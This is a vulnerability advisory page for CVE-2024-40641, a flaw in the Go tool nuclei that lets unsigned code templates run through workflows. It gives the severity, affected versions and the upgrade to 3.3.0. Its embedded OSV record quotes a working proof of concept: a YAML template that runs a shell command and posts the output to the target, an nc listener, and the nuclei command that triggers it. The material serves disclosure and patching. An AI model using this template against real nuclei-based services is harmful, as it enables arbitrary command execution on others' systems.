CVE-2024-40641: Github.com/projectdiscovery/nuclei/v3 Projectdiscovery/nuclei Allows Unsigned Code Template Vulnerability
HIGHCVE-2024-40641 is a HIGH (CVSS 7.4) projectdiscovery/nuclei allows unsigned code template vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Github.com/projectdiscovery/nuclei/v3 libraries in the Go ecosystem. The issue involves projectdiscovery/nuclei allows unsigned code template execution through workflows. Remediation is available by upgrading affected packages to version 3.3.0.
CVE-2024-40641 at a Glance
Security Impact
CVSS: 7.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N).
How to Fix CVE-2024-40641
To remediate this vulnerability, upgrade all affected Github.com/projectdiscovery/nuclei/v3 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/projectdiscovery/nuclei/v3 to 3.3.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/projectdiscovery/nuclei/v3
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-40641, inspect your project dependencies for Github.com/projectdiscovery/nuclei/v3:
inspect dependencies for github.com/projectdiscovery/nuclei/v3
Analyze the terminal output to locate any version of Github.com/projectdiscovery/nuclei/v3 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.3.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Github.com/projectdiscovery/nuclei/v3, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-40641 Affected Github.com/projectdiscovery/nuclei/v3 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/projectdiscovery/nuclei/v3
|
Go |
< 3.3.0
|
3.3.0
|
References
Frequently Asked Questions
What is CVE-2024-40641?
Which Github.com/projectdiscovery/nuclei/v3 versions are affected?
What version fixes CVE-2024-40641?
Is github.com/projectdiscovery/nuclei/v3 affected?
What is the CVSS score of CVE-2024-40641?
What CWE is associated with CVE-2024-40641?
How can I check Go dependencies for CVE-2024-40641?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c3q9-c27p-cw9h",
"modified" : "2024-08-20T14:57:15Z",
"published" : "2024-07-17T19:32:23Z",
"aliases" : [ "CVE-2024-40641" ],
"summary" : "projectdiscovery/nuclei allows unsigned code template execution through workflows",
"details" : "### Summary\nFind a way to execute code template without -code option and signature.\n\n### Details\nwrite a `code.yaml`:\n```yaml\nid: code\n\ninfo:\n name: example code template\n author: ovi3\n\n\ncode:\n - engine:\n - sh\n - bash\n source: |\n id\n\nhttp:\n - raw:\n - |\n POST /re HTTP/1.1\n Host: {{Hostname}}\n\n {{code_response}}\n\nworkflows:\n - matchers:\n - name: t\n```\n\nusing nc to listen on 80:\n```bash\nnc -lvvnp 80\n```\n\nexecute PoC template with nuclei:\n```bash\n./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug\n```\nand nc will get `id` command output.\n\nWe use `-w` to specify a workflow file, not `-t` to template file. and notice there is a `workflows` field in code.yaml to pretend to be a workflow file.\n\nTest in Linux and Nuclei v3.2.9\n\n### Impact\nSome web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/projectdiscovery/nuclei/v3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.3.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-c3q9-c27p-cw9h"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-40641"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/projectdiscovery/nuclei"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-07-17T19:32:23Z",
"nvd_published_at" : "2024-07-17T18:15:05Z"
}
}